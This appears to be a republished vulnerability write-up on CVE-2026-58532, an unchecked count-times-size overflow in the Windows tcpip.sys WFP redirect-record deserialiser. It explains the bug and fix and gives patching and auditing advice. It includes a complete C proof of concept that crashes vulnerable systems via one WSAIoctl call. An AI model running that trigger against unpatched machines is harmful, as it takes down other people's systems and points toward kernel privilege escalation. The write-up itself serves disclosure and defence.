core-jmp core-jmpdeath of core jump

CVE-2026-58532: An Integer Overflow in Windows tcpip.sys

A user-controlled 64-bit record count multiplied by the 0x228 record size wraps to zero in the Windows tcpip.sys WFP ALE deserialiser, defeating a kernel bounds check. A walkthrough of CVE-2026-58532, its 30-line proof of concept, and the one-line fix.

oxfemale July 17, 2026 8 min read 155 reads
Export PDF
CVE-2026-58532: An Integer Overflow in Windows tcpip.sys
Original text: “How I found an integer overflow in tcpip.sys (CVE-2026-58532)”April Ivy (aprilpet), April Ivy’s Writing (aprl.pet), 17 July 2026. The prose below is a paraphrase; the call stack, code snippets and proof-of-concept are reproduced verbatim with attribution.

Executive Summary

Security researcher April Ivy discovered an unsigned 64-bit integer overflow in tcpip.sys, the Windows kernel-mode networking driver. The bug lives in the deserialisation path for Windows Filtering Platform (WFP) ALE connection-redirect records, reachable from user mode through the SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS socket control operation. The routine trusts a user-supplied 64-bit record count and multiplies it by the fixed record size (0x228 bytes) to sanity-check the input buffer. Because the multiplication is unsigned and unchecked, a carefully chosen count wraps the product back to zero, so the size check passes for even a tiny buffer. Microsoft fixed the issue in the July 2026 security updates, classified it as an elevation-of-privilege vulnerability, and assigned CVE-2026-58532.

The value of this write-up is not the exotic nature of the bug — it is a textbook count * size overflow — but where it lives. Once the wrapped bounds check waves the input through, a kernel deserialiser proceeds to allocate and copy records that were never actually supplied, reads past the end of the buffer, and underflows its remaining-length counter so that every subsequent bounds check is comparing against a value close to ULONGLONG_MAX. It is a clean reminder that multiplying two attacker-influenced values before a length comparison is dangerous anywhere, and especially in a kernel parser. This post walks through the reachable path, the arithmetic flaw, the downstream memory-safety consequences, the 30-line proof of concept, and the one-line fix.

The original research was prompted by another write-up describing a remote-code-execution bug in the same driver caused by a similar mistake. That earlier analysis drew attention to the less-travelled parsing and deserialisation paths inside the Windows networking stack — and the ALE redirect-record handling is one of those paths.

The reachable path

The attack surface begins at SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS, a Winsock socket control code delivered through WSAIoctl. From there the request travels through the WFP ALE handling code in tcpip.sys and finally reaches AleRedirectRecordsDeserializeFromBuffer. The serialised input begins with a 64-bit record count, followed by the redirect records themselves; each record is 0x228 bytes long.

The call chain captured from the crash looks like this:

tcpip!AleRedirectRecordsDeserializeFromBuffer+0x18d
tcpip!WfpAleProcessSocketOption+0x273
tcpip!InetInspectSocketOption+0x60
tcpip!TcpSetSockOptEndpoint+0xc75
afd!AfdTLIoControl+0x986
WS2_32!WSAIoctl+0x182

The bug

Before deserialising any records, the function verifies that the supplied buffer is large enough to hold the number of records the header claims. In essence, the check is:

count * 0x228 <= remainingLength

At a glance it looks reasonable. The problem is that count is fully attacker-controlled and the multiplication is unsigned 64-bit arithmetic with no overflow guard. The value used in the proof of concept was 0x2000000000000000:

0x2000000000000000 * 0x228 = 0x45 * 2^64

In a 64-bit register the high bits are discarded, so the product is simply zero. The comparison becomes 0 <= remainingLength, which is true for essentially any buffer — including the 16-byte buffer the PoC hands over. The size check passes even though the header claims an astronomical number of 0x228-byte records are waiting to be read.

What happens next

The wrapped multiplication is only the entry ticket. Once the check succeeds, the function believes the records are present and begins processing them. The core of the routine, cleaned up for readability, is:

uint64_t recordCount = *(uint64_t *)input;

if (recordCount * 0x228 > remainingLength)
    return STATUS_INVALID_PARAMETER;

while (recordCount != 0) {
    record = allocate_pool(0x228, 'AlcR');
    copy_memory(record, input, 0x228);

    input += 0x228;
    remainingLength -= 0x228;
    recordCount--;

    variableLength = *(uint32_t *)((uint8_t *)record + 0x1e8);
    /* More allocation and copy work happens from here. */
}

The very first 0x228-byte copy already reads past the end of the input buffer. Then remainingLength underflows, so every later bounds check operates on a value near ULONGLONG_MAX rather than the true number of bytes remaining. Worse, each copied record contains a variable-length field near offset 0x1e8, and later code uses the deserialised record to drive further allocations and copies. That turns a simple arithmetic slip into a much broader memory-safety problem, which is exactly why Microsoft treated it as an elevation-of-privilege issue rather than a mere crash.

The proof of concept

The submitted PoC is compiled with a single command:

cl /W4 poc_ale_redirect_overflow.c ws2_32.lib

And the program itself is short:

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdint.h>

#pragma comment(lib, "ws2_32.lib")

#define SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS 0x980000DEu

int main(void)
{
    WSADATA wsa;
    SOCKET sock;
    DWORD ret = 0;

    WSAStartup(MAKEWORD(2, 2), &wsa);

    sock = WSASocketW(AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
        sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    if (sock == INVALID_SOCKET) {
        printf("socket failed: %d\n", WSAGetLastError());
        return 1;
    }

    uint8_t buf[16] = {0};
    *(uint64_t *)buf = 0x2000000000000000ULL;

    WSAIoctl(sock, SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS,
             buf, sizeof(buf), NULL, 0, &ret, NULL, NULL);

    printf("returned %d\n", WSAGetLastError());
    closesocket(sock);
    WSACleanup();
    return 0;
}

That is the whole trigger: create a socket, hand the control operation a 16-byte buffer, and set the first eight bytes to the overflowing count. On a vulnerable build the system bug checks. In the captured crash the fault surfaced during cleanup through tcpip!WfpAleDecrementWaitRef, after AleRedirectRecordsDeserializeFromBuffer had already chewed through the malformed input.

The serialiser did it correctly

What makes the bug especially instructive is the matching serialisation code. When computing the output size, the serialiser uses checked arithmetic, including explicit overflow handling as it sums the sizes together. The deserialiser simply did not apply the equivalent care to count * 0x228 before using the result as a bounds check. One direction of the format was defensive; the other was not.

The remedy for this class of bug is trivial: either use checked multiplication, or rearrange the check to avoid multiplying altogether:

if (count > remainingLength / 0x228)
    return STATUS_INVALID_PARAMETER;

Dividing the available length by the record size can never overflow, so the comparison keeps its meaning no matter what count the attacker supplies.

Disclosure timeline

The issue was reported to the Microsoft Security Response Center (MSRC) on 20 April 2026. Microsoft later confirmed the behaviour, classified it as an elevation-of-privilege vulnerability, and shipped a fix in the July 2026 security updates. The advisory is CVE-2026-58532, with a corresponding NVD entry; Microsoft credited the reporter as aprilpet.

TL;DR

  • tcpip.sys trusted an attacker-controlled 64-bit record count.
  • It multiplied that count by 0x228 with no overflow check.
  • The product wrapped to zero, so a tiny buffer sailed through the size check.
  • The deserialiser then copied records that did not exist and underflowed its remaining-length counter.

Key Takeaways

  • Any count * size expression evaluated before a length comparison is a potential integer overflow — the danger is not limited to addition or to obviously “size-like” fields.
  • Unsigned 64-bit wraparound is easy to overlook precisely because 64 bits feels large; a single well-chosen multiplier collapses the product to zero.
  • Once a bounds check is defeated, an unsigned remainingLength -= size underflow neutralises every subsequent check that relies on it.
  • Symmetry matters: if the serialiser validates with checked arithmetic, the deserialiser must mirror that discipline exactly.
  • Kernel deserialisers that both allocate and copy based on untrusted counts turn arithmetic mistakes into memory-safety and privilege-escalation bugs.
  • The safe idiom — comparing against remainingLength / size — is one line and cannot overflow.

Defensive Recommendations

  • Apply the July 2026 Windows security updates promptly; this is the vendor fix for CVE-2026-58532.
  • In your own parsers, replace count * size <= limit checks with the overflow-safe form count <= limit / size, or use compiler intrinsics such as __builtin_mul_overflow / UInt64Mult.
  • Audit kernel and driver deserialisers for length calculations that multiply an untrusted count by a record or element size before validation.
  • Treat every attacker-supplied count, length, or offset as capable of overflowing, underflowing, or being zero; validate each against the actual remaining buffer.
  • Guard against unsigned subtraction underflow: confirm remainingLength >= size before performing remainingLength -= size.
  • Fuzz IOCTL and WSAIoctl control paths (including WFP/ALE surfaces) with malformed length and count headers, not just malformed record bodies.
  • Compile driver code with the highest practical warning level and enable available arithmetic-overflow sanitisers during testing.
  • Keep serialiser and deserialiser validation logic in lockstep, ideally sharing a single checked size-computation helper for both directions.

Conclusion

CVE-2026-58532 is a compact illustration of a pattern that keeps recurring in low-level code: a length check that looks airtight until you notice the multiplication feeding it can wrap. The fix costs one line, and the serialiser sitting right next to the bug already demonstrated the correct approach. The lesson for anyone writing or auditing kernel parsers is worth internalising — checked arithmetic is tedious, but the alternative is an attacker-controlled count silently turning a 16-byte buffer into an out-of-bounds copy inside tcpip.sys.

Original text: “How I found an integer overflow in tcpip.sys (CVE-2026-58532)” by April Ivy at April Ivy’s Writing (aprl.pet).

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion